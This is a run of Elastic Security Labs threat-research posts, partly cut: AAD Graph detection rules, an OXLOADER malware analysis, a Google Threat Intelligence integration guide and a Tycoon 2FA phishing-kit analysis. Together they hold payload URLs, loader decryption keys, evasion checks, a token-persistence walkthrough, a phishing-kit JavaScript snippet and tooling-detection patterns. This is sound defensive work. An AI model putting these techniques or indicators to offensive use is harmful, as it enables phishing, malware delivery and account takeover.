• Apply CA to the FOCI clients adversary tooling rides on (Microsoft Teams, Microsoft Office, OneDrive, Azure PowerShell, etc.). Require managed and compliant devices. The swap path collapses if the underlying client can't sign in.

• For service-principal callers, Workload Identities Premium adds CA scoped to service principals. Conditions are limited to location, Identity Protection risk, and authentication context; the only grant control is Block. Useful for collapsing external- and risky-context paths, not for scoping an SP to specific cloud apps the way user CA does.

• Disable device-code flow for users who don't need it. roadrecon auth --device-code is the path of least resistance into the entire pipeline above and is extremely common in OAuth phishing.

Behavior detection

We shipped detection rules covering the AAD Graph recon shapes documented above. Each lives in the Elastic detection-rules repository and runs natively against the parsed logs-azure.aadgraphactivitylogs-* data stream.

Azure AD Graph Access with Suspicious User-Agent - KQL match rule. Triggers when AAD Graph receives traffic from user-agent strings matching offensive tooling families (Python, aiohttp, curl, Go-http-client, axios, AzureHound, BloodHound, AADIntenals, etc.). Solid baseline signal because no first-party Microsoft component identifies as any of these, while default tooling does. 

Azure AD Graph High 4xx Error Ratio from User - ES|QL aggregation. Triggers when a single caller produces an unusually high ratio of 4xx responses against AAD Graph in a short window. Recon and brute-force token usage leave a tail of 403s and 404s as tools walk endpoints they don't have permission for, ask for object IDs they don't have, or use a client ID unauthorized for AAD Graph. 

Azure AD Graph Access with Unusual Client and User - KQL new_terms rule, medium severity. Fires when a (calling OAuth client, signed-in user) pair appears on AAD Graph for the first time in the prior 14 days. Catches FOCI swaps, phished refresh tokens redeemed for clients the user doesn't normally use, and stolen tokens used under unfamiliar clients. Ignores known first-party applications that were commonly observed interacting with Azure AD that are backend owned by Microsoft.

Azure AD Graph Access with Unusual User and ASN - KQL match rule. Excludes the common Microsoft / AWS / GCP / Akamai / Cloudflare ASN organisations and flags AAD Graph traffic originating outside that set. Adversary tooling typically rides on residential ISPs, VPS providers, or anonymising networks that produce a different ASN distribution than legitimate first-party callers. Tunable per tenant by adjusting the excluded ASN list.

Azure AD Graph Potential Enumeration (ROADrecon) - ES|QL aggregation, high severity. Requires both an aiohttp user-agent and a burst of 500+ AAD Graph requests from a single identity. ROADrecon's gather command uses aiohttp by default and walks every directory object type, so the combination is essentially a tool fingerprint. Higher severity than the generic non-Microsoft UA rule because the additional burst requirement removes the developer-prototype false-positive class.

Entra ID OAuth Device Code Sign-in to Azure AD Graph Enumeration - EQL sequence, high severity. Joins a successful device-code sign-in to the legacy AAD Graph audience (00000002-0000-0000-c000-000000000000) on an unmanaged device with directory enumeration against graph.windows.net by the same user within five minutes. Device-code phishing lands an OAuth token without touching the user's password or MFA, so immediate Graph reads of users, service principals, applications, role assignments, policies, or tenant details under that token are the compromised identity being driven by the attacker. Cross-data-stream sequence removes the single-event false-positive class that the other AAD Graph rules carry.

AAD Graph visibility: what comes next

For most of the past decade, AAD Graph activity was the telemetry equivalent of dark matter. We knew it was there because adversary tooling kept pointing at it, but customers had no diagnostic stream to subscribe to and no logs to query. Microsoft Graph Activity Logs closed half the gap when they went GA in April 2024. AzureADGraphActivityLogs finally closed the other half in early 2026.

Now that the data exists, the rest is on us. Add the new diagnostic setting, point it at an event hub, ingest into your stack, turn detections on (or create your own) and get to monitoring.

The detections in this post are a starting point. Once you have AAD Graph traffic landing in your stack and a baseline of what normal looks like in your tenant, the same patterns generalize. Legitimate first-party Microsoft callers form a small, recognisable set, and anything outside that set deserves a closer look.

The activity was always there. The visibility finally is too.

Happy hunting!

References

The following were referenced throughout the above research:

• Elastic Azure Integration
• ROADtools GitHub
• ROADtools wiki
• BloodHound with Azure AD capabilities
• AADInternals
• AADInternals documentation
• Migrate your apps from Azure AD Graph to Microsoft Graph
• Configure Microsoft Entra diagnostic settings for activity logs
• Access Microsoft Graph activity logs
• Microsoft Graph activity logs is now generally available
• The Missing Link: AADGraphActivityLogs Finally Arrives
• Azure AD privilege escalation - Taking over default application permissions as Application Admin
• Abusing Azure AD SSO with the Primary Refresh Token

About Elastic Security Labs

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

Elastic Security Labs identified OXLOADER in an active campaign targeting one of our customers; CIS-region and Russian-language exclusions point to a financially motivated, Russian-speaking threat actor. We have found no prior public reporting on this family.

Key takeaways

• Elastic Security Labs discovers new loader (OXLOADER)
• OXLOADER observed in campaigns distributing CASTLESTEALER via malicious Google Ads
• CIS-region exclusion and Russian language checks suggest a Russian-speaking, financially motivated threat actor
• Low detection rates across static engines and sandbox detonations
• Elastic Defend stops the entire attack chain using advanced prevention capabilities

How malvertising delivered OXLOADER to victims

OXLOADER is distributed via malicious Google Ads impersonating Node.js. Victims are redirected through an intermediary domain to a Storj-hosted batch script, which downloads and executes OXLOADER.

The infection began when the user searched for an lts version of node.js and clicked a sponsored result leading to node-js[.]prentiva99[.]info, a malicious landing page designed to impersonate a legitimate Node.js deployment platform. The threat actor operated a Google Ads campaign targeting US-based victims; the ad was last shown on Apr 23, 2026, and the site is now offline. The advertiser was registered under the verified name ВОЛОДИМИР ТЕРЕЩЕНКО, based in Ukraine. Whether this reflects the actual operator, a front account, or a purchased identity remains unclear. On May 14, 2026, the advertiser along with their associated ad campaigns were removed from Google entirely.

Upon interaction, the user was redirected through app[.]miloyannopoulos[.]com/download?subid1=download, which responded with a 302 Found to the payload URL link[.]storjshare[.]io/raw/jux4e4ky5mruo4jkxsssp42sau4q/ruslan/BATPackageBuilderSetup.bat. This delivered a Windows batch script, hosted on Storj’s legitimate link-sharing service, which the threat actor abused to evade domain-based reputation filtering.

The batch script displays a fake software installation wizard UI, immediately downloads the next-stage executable from the Storj URL link.storjshare[.]io/raw/jwwvr4oskkkjsgevt774ta62ehya/ruslan/aBsvwbdas.exe via PowerShell, and launches it with -Verb RunAs to trigger a UAC elevation prompt.

Following execution of the Batch script, Elastic Defend detected malicious behavior (policy was set to detect only), triggering multiple behavioral rules including Microsoft Common Language Runtime Loaded from Suspicious Memory, hinting at a .NET-based payload consistent with CASTLESTEALER.

The following is the execution graph of the attack chain from payload download to CASTLESTEALER deployment.

OXLOADER malware loader: technical analysis

The first OXLOADER sample our team analyzed masquerades as the popular tool, API Monitor from rohitab.com. Due to the heavy presence of legitimate code and code-hiding techniques, this loader is able to fly under the radar against static file analyzers.

How OXLOADER unpacks itself at runtime

The malware begins executing during the CRT initializer phase, before any user code is run. The CRT function cinit() invokes initterm(), which walks the C++ initializer table (__xc_a → __xc_z) calling each entry. The malware developer has hijacked one of these entries, pointing to a function that makes a RegisterClipboardFormatW() call before tail-jumping into the first decryption stub.

The loader uses self-modifying techniques with several decryption stubs to unroll itself. Below is an example of a decryption stub being patched in during runtime, before jumping to it.

After the patching has taken place, the loader decrypts a 28,233-byte region. Each byte is decrypted with a single-byte XOR key that updates after every iteration: the just-decrypted plaintext byte is added to the key, which is then used to decrypt the next byte. This similar decryption routine runs three times in total, each over a different region.

Obfuscation techniques used to evade static detection

OXLOADER breaks automated function-boundary detection in binary analysis tooling such as IDA Pro using four layered obfuscation techniques: control-flow flattening (CFF), mixed Boolean-Arithmetic (MBA), opaque predicates, and function chunking across non-contiguous code regions. Functions are stitched together with unconditional jumps, and some regions are reached through indirect jumps whose target addresses are computed at runtime via MBA arithmetic. The result is that IDA Pro cannot reliably reconstruct function boundaries, requiring manual fixes.

The loader decrypts various strings at runtime using the following string decryption algorithm:

uint32_t obf_xor_a1_with_a2_plus_33FDA(uint32_t a1, uint32_t a2) { 
return a1 ^ (a2 + 0x33FDA); 
} 

After the code is fully unpacked/decrypted, the malware combines this string decryption function with an Adler-32 API hashing algorithm to dynamically resolve its imports.

How does OXLOADER evade sandbox and VM detection?

After resolving its APIs, OXLOADER performs various checks to ensure the machine executes in a clean environment, avoiding execution in sandbox environments.

The first check attempts to connect to a deliberately malformed network resource (*72s@1s) using mpr!WNetAddConnection2W. This technique appears to defeat emulation/sandboxes that may hook or return a successful connection unconditionally. The malware developer verifies this call by accessing the TEB directly to retrieve the LastErrorValue. The loader expects this error code to be ERROR_BAD_NAME (0x43), if the error code is anything other than this value, the malware takes the failure branch and stops execution.

The second check is an anti-sandbox test based on the processor count: the loader requires the host to have at least 3 CPUs to continue. Many sandboxes and analysis VMs are provisioned with one or two CPUs to conserve resources, so this threshold filters out these automated analysis environments.

The next check uses GlobalMemoryStatusEx() to verify that the host has at least 3 GB of available physical memory.

A further check uses WMI to query the system display's refresh rate, executing the WQL statement SELECT CurrentRefreshRate FROM Win32_VideoController and comparing the returned value (in Hertz) against a threshold of 20. Physical monitors usually report around 60 Hz or higher, while headless and default-virtualized configurations typically report 0 or 1, and values below 20 cause the loader to abort.

Geographic and language exclusions

The final two checks halt execution if the host is located in a CIS country or configured for the Russian language. The first check in this category uses GetUserGeoID to retrieve the system’s geographic region and compares it against a hardcoded list of CIS country GEOIDs.

The second check uses GetUserDefaultUILanguage and matches against LANGID (0x419 - Russian, Russia), the standard configuration for a Russian language Windows installation.

Shellcode staging via .reloc section and OCX file

After all the checks have passed, the malware makes a copy of the Windows DirectUI Engine DLL (C:\Windows\System32\dui70.dll), storing it in a temporary location using a randomly generated name with the .ocx extension (PFHemkxVk.ocx). This extension choice inspired the OXLOADER family name.

OXLOADER then creates a new section named (.xtext) in this target DLL (PFHemkxVk.ocx).

This new section (.xtext) is configured with RWX (read/write/execute) protections in preparation to store and execute the next stage of the malicious code.

This updated DLL (PFHemkxVk.ocx) is then loaded into the existing loader process via LoadLibraryA.

In a normal Windows executable, the .reloc section contains a table of IMAGE_BASE_RELOCATION blocks that the Windows loader applies to patch absolute addresses when the image is loaded at an address other than its preferred base. In this sample, the malware developer is using
the .reloc section to house malicious code instead of the base relocation entries. This is a strong static-analysis red flag: legitimate toolchains do not emit code into the .reloc section.

This shellcode from the .reloc section is then copied to the newly created section (.xtext) in the OCX file, and the loader then calls this code.

As observed previously, there is another decryption stub used to unpack this next stage.

In-memory infostealer delivery via DonutLoader and .NET assembly

This next-stage shellcode is a payload configured from DonutLoader, an open-source shellcode generator used to wrap .NET assemblies, DLLs, and EXEs into position-independent shellcode (PIC) for in-memory execution. During unpacking, the shellcode decrypts the loader's embedded configuration and execution context using the Chaskey-LTS block cipher in CTR mode with the key (6E0A1F8F77F7011561F6F9CA96B71B8F) and IV (956C6128E9362E075F8D006C93616A66).

After the decryption, the payload is decompressed via aPLib then bootstrapped through DonutLoader’s RunPE() function. The final payload is a newly discovered information stealer by Huntress called CASTLESTEALER. This attribution is based on the same AES key used for C2 communications found between 0xDEADBEEF markers in a previous sample.

Second OXLOADER variant: same loader, different masqueraded program

A second OXLOADER variant masquerades as a Node.js installer rather than API Monitor, but uses the identical loader mechanism.

On May 13, 2026, we discovered that the redirector endpoint app.miloyannopoulos[.]com/download responded with one of two Location header fields, chosen at random:

• https://link.storjshare[.]io/raw/jv5uebuqwzfpmtahj34q753ptykq/node/BATPackageBulderSetup.bat
• https://link.storjshare[.]io/raw/jvsmdybqmvwep2oawbobp6ub7aza/node/node-v24.15.0-x64-86.exe

The Batch installation script (BATPackageBulderSetup.bat, with a typo for “Builder”) remained mostly identical. The only difference was that the Storj payload link now pointed to a different binary named node-v24.15.0-x64-86.exe.

The payload attempts to masquerade itself as benign CMake code while retaining “node” in the filename, likely to keep the lure theme intact. We believe the earlier “API Monitor” sample was likely a distribution error by the operator.

Upon execution, we noticed the same pattern: indirect jumps used for in-memory self-decryption, followed by the loading of mpr.dll and a call to WNetAddConnection2W. We confirmed that it is the identical loader mechanism discussed previously, and this sample also loads CASTLESTEALER.

Below is a snippet where the self-decryption occurs. Dummy CMake-related strings appear to be passed as arguments to a function call, which patches a small decryption stub into memory immediately after the call site. Execution then jumps to the stub to decrypt subsequent instructions, and this process repeats 2 more times until the main malware body is decrypted.

Conclusion: why defenders should track OXLOADER

OXLOADER is in an early operational phase, but the engineering behind it suggests this family is worth watching. The code obfuscation, anti-VM measures, benign-looking code used to masquerade its binaries, and unique staging techniques reflect deliberate engineering choices to evade analysis. That investment is paying off, resulting in low detection rates across static engines and detonation runs, giving OXLOADER a window to operate before it gets hunted down.

REF8372 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Resource Development
• Initial Access
• Execution
• Defense Evasion
• Discovery
• Command and Control
• Collection
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Acquire Infrastructure: Malvertising
• Stage Capabilities: Upload Malware
• User Execution: Malicious File
• Command and Scripting Interpreter: PowerShell
• Abuse Elevation Control Mechanism: Bypass User Account Control
• Obfuscated Files or Information: Encrypted/Encoded File
• Deobfuscate/Decode Files or Information
• Obfuscated Files or Information: Embedded Payloads
• Masquerading: Match Legitimate Name or Location
• Hijack Execution Flow: DLL Side-Loading
• Virtualization/Sandbox Evasion: System Checks
• System Location Discovery: System Language Discovery
• Reflective Code Loading

Remediating REF8372

Prevention

• Potential Browser Information Discovery
• Potential Evasion with Hardware Breakpoints
• Suspicious Thread Context Manipulation
• VirtualAlloc API Call from an Unsigned DLL
• Suspicious Remote Memory Allocation
• Execution from Suspicious Stack Trailing Bytes
• Microsoft Common Language Runtime Loaded from Suspicious Memory
• Suspicious PowerShell Execution
• Module Stomping from a Copied Library

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.OxLoader
• Windows.Trojan.CastleStealer

Observations

The following observables were discussed in this research.

How threat intelligence works in Elastic Security

In modern security operations, threat intelligence must work across detection, investigation, and response, not sit in a reference table.

Elastic Security supports this in two ways. Ingested intelligence via integrations drives continuous detection and historical hunting. Agentic workflows, built on Elastic Workflows and Agent Builder, provide on-demand enrichment and investigative reasoning during an active investigation. This post focuses on how Elastic's Google Threat Intelligence (GTI) integration powers ingestion-based detection and hunting, and how it fits into a broader, more dynamic SOC model where AI-driven workflows use that intelligence at alert time.

What Google Threat Intelligence provides

The Google Threat Intelligence integration brings curated threat intelligence directly into Elastic Security, making it actionable across detection and investigation. GTI combines intelligence from Google's global security visibility with VirusTotal data to deliver enriched context on indicators of compromise, with coverage across malware, ransomware, phishing, infostealers, malicious infrastructure, threat actors, and other adversary activity.

Each indicator is returned with: a verdict (Malicious, Suspicious, or Undetected), a severity, and a composite threat score from 0–100. Because that score is derived from multiple signals, security teams can prioritize indicators based on confidence rather than their presence alone.

How the Google Threat Intelligence integration works in Elastic Security

Setup takes only a few minutes. You provide your GTI API key in the Elastic integration, and ingestion begins on a scheduled polling interval, with no additional infrastructure or collectors required. The integration ingests two primary data streams.

As data is ingested, indicators are standardized using the Elastic Common Schema (ECS), along with GTI context, such as verdict, severity, score, malware families, threat actor associations, and campaign metadata (where available). This enables GTI to be searched and correlated consistently alongside other ECS-compliant intelligence sources (including TAXII feeds), custom intelligence, and the broader security telemetry already present in Elastic Security. Elastic also manages indicator lifecycle automatically, including expiration and revocation, which reduces matches against stale intelligence. Once ingested, GTI indicators become part of the same searchable dataset as logs, endpoint, and cloud telemetry, enabling unified correlation across the environment.

Using Google Threat Intelligence for indicator match detections

Elastic's indicator match rules use GTI data to detect when known malicious IPs, domains, URLs, or file hashes appear in security telemetry, continuously correlating intelligence against observed activity and surfacing matches for investigation. Because GTI provides structured fields such as score, verdict, and severity, teams can tune detections by confidence: high-confidence indicators can trigger immediate escalation, while lower-confidence indicators can be routed for review or further validation.

Threat hunting with GTI indicators in Elastic Security

With GTI metadata, analysts can pivot from a single IOC to all associated infrastructure and search historical telemetry; not just check if an indicator appeared, but understand what campaign it belongs to.

GTI enriches indicators with metadata such as threat actor associations and malware family context, allowing analysts to move beyond single-IOC searches. Hunters can pivot from an adversary or campaign to all associated indicators (IPs, domains, and file hashes) and search across historical telemetry using ES|QL. This makes it straightforward to determine whether known malicious infrastructure has ever interacted with the environment.

Monitoring threat intelligence activity with GTI dashboards

The integration includes prebuilt dashboards that provide visibility into threat intelligence activity and the detections GTI drives. Using saved searches and aggregated metrics, these dashboards summarize observed threats across malware families, campaigns, threat actors, toolkits, and vulnerabilities, helping SOC teams understand which threat types are most active in their environment and how intelligence is being operationalized.

Google Threat Intelligence feed categories and coverage

GTI includes 14 categorized feed categories, so organizations can tailor coverage to their needs and subscription level. Supported categories include:

• Cryptominers
• Trending threats
• Initial access and delivery vectors
• Infostealers
• IoT threats
• Linux malware
• Malicious infrastructure
• General malware
• Mobile threats
• macOS threats
• Phishing
• Ransomware
• Threat actors
• Vulnerability exploitation and weaponization

Availability depends on your Google Threat Intelligence subscription tier, and additional feeds can be enabled without changes to the Elastic configuration.

Agentic enrichment and real-time triage with Elastic Workflows

For ambiguous or emerging indicators not yet in an indexed feed, Elastic Security supports AI-driven investigation through Agent Builder and Elastic Workflows, which complement intelligence ingestion by enabling real-time enrichment and reasoning during an investigation.

With workflows, an analyst is no longer limited to the intelligence already in the index. During alert triage, a workflow can query external intelligence and reputation services such as VirusTotal in real time, enrich an alert with fresh context about the IPs, domains, or file hashes involved, correlate that live intelligence against Elastic telemetry, and summarize the findings into a structured investigation context that the analyst can act on. Agent Builder extends this further: teams can compose reusable, task-specific capabilities, such as agent skills for alert triage, enrichment, or case handling, so the assistant executes multi-step investigative tasks with the consistency of traditional automation, through a natural-language interface.

This introduces a complementary model. Ingested intelligence (GTI, TAXII, and custom feeds) provides continuous detection and historical hunting against indicators you already hold. Agentic workflows provide on-demand enrichment and investigative reasoning at alert time, reaching out to live sources and assembling context on the fly. Together, they enable teams to detect known threats at scale and provide context to investigations.

Getting started with Google Threat Intelligence in Elastic Security

To use the Google Threat Intelligence integration in Elastic Security, you need an active GTI license and API key.

1. Install: open Integrations catalog in Kibana → search "Google Threat Intelligence" → add integration → enter your API key
2. Configure the data streams: enable Threat List (high-confidence detections) and IOC Stream (hunting coverage) → set polling frequency to match API limits and operational needs
3. Tune: prebuilt indicator match rules activate automatically; if alert volume is high, start by filtering on confidence threshold

All indicators are stored in Elasticsearch and accessible through the GTI threat intelligence data view, enabling search, correlation, and custom detection logic. Full configuration details and troubleshooting guidance are available in the official documentation.

Tying it all together

Threat intelligence only matters if a team can act on it. By bringing Google Threat Intelligence into Elastic Security, SOC teams get ingestion-based detection running continuously across their telemetry and agent-driven investigation reasoning over that intelligence in real time. The combination lets threat intelligence operate continuously and contextually, helping analysts move from indicators to confident decisions faster.

Despite a coordinated takedown in March 2026 led by Microsoft and Europol, with support from Cloudflare, SpyCloud, eSentire, and other partners that seized over 300 domains, operators adapted within weeks. By late April 2026, eSentire documented campaigns combining Tycoon tradecraft with OAuth Device Code phishing flows, and the kit remains the #1 entry on ANY.RUN's malware trends tracker.

How Tycoon 2FA works

The AiTM mechanism

Tycoon 2FA operates as a reverse proxy between the victim and the legitimate identity provider (Entra ID or Google). It is not a static credential harvester. It proxies the real login flow in real time:

1. The victim receives a phishing email containing a link or QR code embedded in a PDF, SVG, HTML, or PPTX attachment.
2. The link routes through a multi-layer redirect chain. The kit performs browser fingerprinting, CAPTCHA challenges, and anti-analysis checks before presenting the login page.
3. The victim sees a pixel-perfect replica of the Microsoft or Google login page, often including the target organization's branding dynamically fetched from the real service.
4. Credentials are relayed in real time to the legitimate identity provider. The real MFA challenge is triggered and proxied back to the victim.
5. The victim completes MFA normally. The identity provider issues a session token. The proxy intercepts this token before it reaches the victim's browser.
6. The attacker now holds a fully authenticated access token.

The session cookie is the value the operator monetizes. Once captured, MFA is moot because the operator replays minted tokens post-MFA.

Two structural variants in current rotation

Two distinct kit variants we analyzed were in active use:

WebSocket AiTM (the "classic" Tycoon 2FA flow): The victim authenticates through a kit-hosted proxy that forwards traffic to Microsoft or Google over WebSocket (Socket.IO) and captures the post-MFA session cookie. The kit's JavaScript client controller maintains a real-time bidirectional channel to the C2 server, relaying credentials and authentication responses as the victim types. These responses include minted access and refresh tokens for use.

Device-code-grant abuse (Microsoft only): The kit relay obtains a device code from Microsoft's oauth2/devicecode endpoint with Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) as the client, displays it to the victim through a "verification code" lure, and exchanges the code for access/refresh tokens after the victim signs in at the legitimate microsoft.com/devicelogin endpoint.

Evasion techniques

The kit employs layered anti-analysis mechanisms confirmed through JavaScript decompilation:

• IP-based researcher filtering: Before any content is shown, the kit calls api.ipapi.is (or equivalent service) to check the visitor's IP against a blocklist of cloud/hosting providers (Leaseweb, M247, DigitalOcean, Linode, Amazon, OVH, Hetzner, Google, Microsoft, Cloudflare, Akamai, Fastly, stored as reversed strings to evade static scanning). Visitors on cloud infrastructure are redirected to a benign decoy site.
• Bot/tool detection: Checks for navigator.webdriver (Selenium), window.callPhantom / window._phantom (PhantomJS), and "Burp" in the user-agent string. Detection triggers a redirect to about:blank.
• DevTools blocking: Intercepts keyboard shortcuts for developer tools (F12, Ctrl+Shift+I/J/C, Ctrl+U, macOS equivalents) and disables right-click context menus.
• Debugger trap: A setInterval loop running every 100ms inserts a debugger statement and measures execution time. If DevTools are open (execution pauses >100ms), the victim is redirected to a decoy site.
• DOM vanishing: Malicious JavaScript removes itself from the DOM after execution, leaving no trace for static inspection.
• Per-victim encryption: The payload uses a custom two-stage cipher (Caesar shift + XOR with a PRNG-generated keystream) seeded with per-session values. The seed, key, and encrypted blob are generated server-side for each victim, making static signature detection impossible.
• Platform targeting: On Linux desktops, it writes an empty string to blank the page: likely assuming Linux users are more likely to be security researchers.
• Fake CAPTCHA: A custom image-grid CAPTCHA replaces Cloudflare Turnstile in the current variant. Unsplash-sourced images in a 3×3 grid provide human verification before the phishing page loads.

For Google-targeted campaigns, the first-hop lure is frequently staged on legitimate Google infrastructure, such as Google Storage or Google Sites, though operator-controlled or compromised domains are also observed. When Google's own hosting is used, the storage.googleapis.com or sites.google.com origin provides built-in reputation cover before the victim reaches the AiTM relay.

In other instances the victim's email is auto-filled and the "Next" button is auto-clicked: the victim lands directly on the password page, making it look like they're already partially authenticated (increasing trust) :

var emailcheck = "victim@email.corp";
// ...
function tryfindingele(email) {
   emailinputcheck.value = email;
   emailsectionelecheck.querySelector(".btn-blue-next-btn").click();
}
if (emailcheck !== "0") { tryfindingele(emailcheck); }

Microsoft 365 / Entra ID

A two-tier operational architecture

Tycoon 2FA's current operational model splits across two distinct infrastructure tiers, each with its own ASN, role, and behavioral signature. Defenders looking for a single pattern will catch one tier and miss the other.

Tier 1 - Kit Relay

The automated backend that handles token acquisition and renewal. Characteristics:

• Cloud-VPS egress IPs from hosting providers (Alibaba Cloud, similar cheap-VPS ASNs), rotating across multiple IPs in different /16 blocks during a single engagement.
• Node.js HTTP client user agents: node (bare, default Node.js UA), axios/1.15.2, node-fetch/1.0, undici.
• Client app: Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e), later used with Device Registration Service (DRS) to mint a primaryRefreshToken (PRT).
• Token-type progression: incomingTokenType: none (initial victim auth) > refreshToken (kit relay renewal loop, repeated across rotating IPs) > Rogue Device Registration > primaryRefreshToken (PRT replay, broader scope).
• Non-interactive sign-ins: After the initial interactive device-code completion, subsequent token operations are server-to-server refreshes.

Tier 2 - Operator Console

The human (or human-simulating tool) that performs post-compromise reconnaissance. Characteristics:

• Residential-shaped ISP or proxy egress, typically a small ASN not present in common hosting-provider threat feeds. Multiple IPs in a single /24, all acting in coordination.
• Single browser user agent (e.g., Firefox on Windows) fixed across all IPs in the cluster. A configured tool, not independent users.
• Browser-based interactive sign-ins to Microsoft web apps: My Profile, My Signins, Microsoft Approval Management, Outlook Web and OfficeHome.
• Single c_sid (client session ID in Graph Activity Logs) shared across all IPs, confirming a single session distributed across the pool.
• Operational tempo: Typically appears 10-20 minutes after the kit relay's first successful token issuance. The gap represents the kit-to-operator handoff window.

The durable cross-tier detection signal: Two distinct ASNs (one cloud-VPS, one residential-shaped) authenticating as the same user principal within minutes. Single-ASN rules catch one tier; the cross-tier pivot is the high-confidence indicator.

Post-compromise Graph API enumeration

Once the operator console has a valid token, a rapid burst of Microsoft Graph API calls follows, typically dozens of requests within 30-60 seconds, hitting high-value reconnaissance endpoints:

Key telemetry indicators of automated post-compromise recon:

• Volume and speed: 20-30+ calls within a 30-60 second window, each hitting a different endpoint.
• Mixed HTTP methods: GET for most endpoints, POST for actions like getResourceTenants.
• Structured query parameters: $select, $top=999, $count=true - optimized for maximum data extraction per call.
• /beta/ API usage: Disproportionately used by offensive tooling versus normal portal navigation.
• Mixed success/failure: Some endpoints return 400 or 403 (the kit probes everything regardless), while most return 200. Failed recon attempts are still recon.
• Empty C_DeviceId: The token was issued to an unmanaged, unregistered device.
• First-party apps with broad pre-consented scopes: Tokens for My Profile carry scopes including RoleManagement.ReadWrite.Directory, MailboxSettings.ReadWrite, UserAuthenticationMethod.ReadWrite, and User.RevokeSessions.All - all pre-consented, requiring no OAuth consent prompt.

Device-PRT persistence

As stated earlier, the kit can establish device-registration persistence that survives standard session-revocation playbooks. The mechanism:

1. MAB refresh token is resource-swapped at oauth2/token for an access token whose aud is urn:ms-drs:enterpriseregistration.windows.net (same client ID, new audience, no consent prompt).
2. The kit uses the urn:ms-drs:enterpriseregistration.windows.net access token to POST endpoint EnrollmentServer/device with a locally-generated PKCS#10 CSR, synthetic device metadata and transport key blob. DRS creates a device object, assigns a device ID, signs and returns a device certificate.
3. The kit builds a JWT containing the user’s refresh token, signs it RS256 with the device private key, and embeds the device certificate in the JWT header. It POSTs this to login.microsoftonline.com/common/oauth2/token as a JWT bearer grant. Entra validates the signature against the cert and returns the PRT plus a session key encrypted (JWE).
4. When a defender fires revokeSignInSessions (which invalidates all user-level tokens and refresh tokens), the device PRT remains valid because the device is a separate principal in Entra ID.
5. From the new relay IPs, the kit uses the PRT plus session key to sign per-request HMAC-SHA256 assertions to /oauth2/token, brokering access tokens for any first-party client_id it names (Teams, Outlook, OneDrive, Office, Intune).

Why doesn't revoking sessions stop Tycoon 2FA?

This means the standard incident response sequence of "revoke sessions > reset password" is insufficient. Defenders must enumerate and delete registered devices before revoking sessions to break the device-PRT chain atomically.

Detection nuances - Microsoft

Identity Protection may not flag kit infrastructure. Tycoon 2FA's current egress IPs rotate aggressively and may not be in Microsoft's risk corpus. Defenders relying solely on Entra ID risk signals for AiTM detection will see nothing.

c_sid in Graph Activity Logs is NOT the user object ID. It's a session/security-context identifier. Analysts filtering Graph Activity Logs by c_sid == user_object_id will get empty results and conclude the attacker didn't use Graph tokens. The correct hunt pivot is source IP + appId, cross-referenced with sign-in logs to map IP to user.

Geolocation is unreliable for cloud-provider IPs. The same kit relay IP can geolocate to different cities within the same sign-in session. ASN is the only reliable enrichment for detection rules.

Token minting visibility. Token minting or issuance is not logged; authentication events leveraging these tokens propose a more reactive hunting signal.

Entra ID Protection Risky User Status. Entra ID protection analyzes sign-in events, sessions, tokens and more to apply a risk level and status to users. aiConfirmedSafe was observed during tier 2 relay, marking the user with no risk. Then User Risk anomalies were identified based on anomalousToken which then placed the user back into a medium risk. Simply excluding events where aiConfirmedSafe can blind organizations to false-negatives from Microsoft’s labeling.

Google Workspace

Single-tier kit relay

The Google variant operates as a single-tier kit relay without the distinct operator console tier seen on the Microsoft side. Multiple kit relay IPs (typically from cheap hosting ASNs like Clouvider, Host Telecom, or similar) authenticate the same user within minutes, each performing the same four-event sequence:

1. login_success password validated (T+0.000s)
2. login_verification with is_second_factor: true - kit relays the TOTP/SMS/push code in real time, completing 2SV (T+0.000s)
3. token: authorize for Google's Chrome OAuth client (77185425430) (T+0.4 to 0.6s)
4. DEVICE_REGISTER_UNREGISTER_EVENT (new device is registered by Google due to profile authentication) (T+0.6 to 1.2s)

That ~1-second compression is a signal of automated logins.

The kit consistently authorizes the same OAuth client across every relay session:

The OAuthLogin scope is Chrome's internal bootstrap sign-in scope. It is not a data-plane scope (it does not by itself grant Gmail, Drive, or Calendar access). The kit's blast radius from this single scope is bound to a long-lived sign-in capable of becoming a Chrome Sync session, not direct mailbox or file access without further token-exchange calls.

What the token.authorize event from a VPS ASN confirms is that the authorization happens server-side during the relay, not from the victim's device, making it suspicious regardless of operator intent.

Kit JavaScript architecture (Google variant)

Decompilation of the Google-targeting WebSocket variant reveals a 5-layer architecture:

The 15 input fields capture every Google 2FA method: password, TOTP, SMS, voice call, backup codes, recovery email, phone verification, security key fallback, mobile prompt, and forced password change. The “recieveid” Socket.IO event name (note the typo) is a consistent kit fingerprint.

Detection nuances - Google

Google Alert Center may stay silent. Even when multiple sign-ins from multiple ASNs hit the same user within minutes, Alert Center records may not flow to the Alert API. Google's victim-mailbox security alert emails are not a substitute, since they go to the compromised user's inbox, not the admin surface.

is_suspicious may not fire. Kit relay IPs from cheap hosting ASNs may not be in Google's risk corpus. Defenders relying on this field as a primary signal will have blind spots. In the canary engagement, is_suspicious was false on every login_success from all four kit IPs across both Clouvider and Host Telecom.

No user-agent on login events: The Reports API login events do not include user-agent or device-fingerprint data. The UA-based detections that work on the Entra side (node / axios / undici) have no direct Google equivalent.

OAuth workflow visibility is shallow: Google's token.authorize event surfaces client.id, app_name, client.type, and scope.value, and that's the full set. There is no resource_id distinct from scope, no grant-type field, and no incoming-token-type field.

Most auxiliary streams stay quiet: no google_workspace.context_aware_access events fired (despite five new device records on the user) and no Alert Center records reached the Alert API. The kit footprint lives in three streams only: login, token, and device. Hunts that depend on any other stream will not detect this kit.

Tycoon 2FA across Entra ID and Google Workspace

The M365 variant is operationally heavier, and logging provides extensive detail before and after identity compromise. The Google Workspace variant is lighter (only sign-ins were observed), but default logging lacks important context.

Tycoon 2FA behavior detection rules

We shipped detection rules across Microsoft and Google telemetry sources covering the full attack chain: initial AiTM phish, token relay, operator console recon and device persistence.

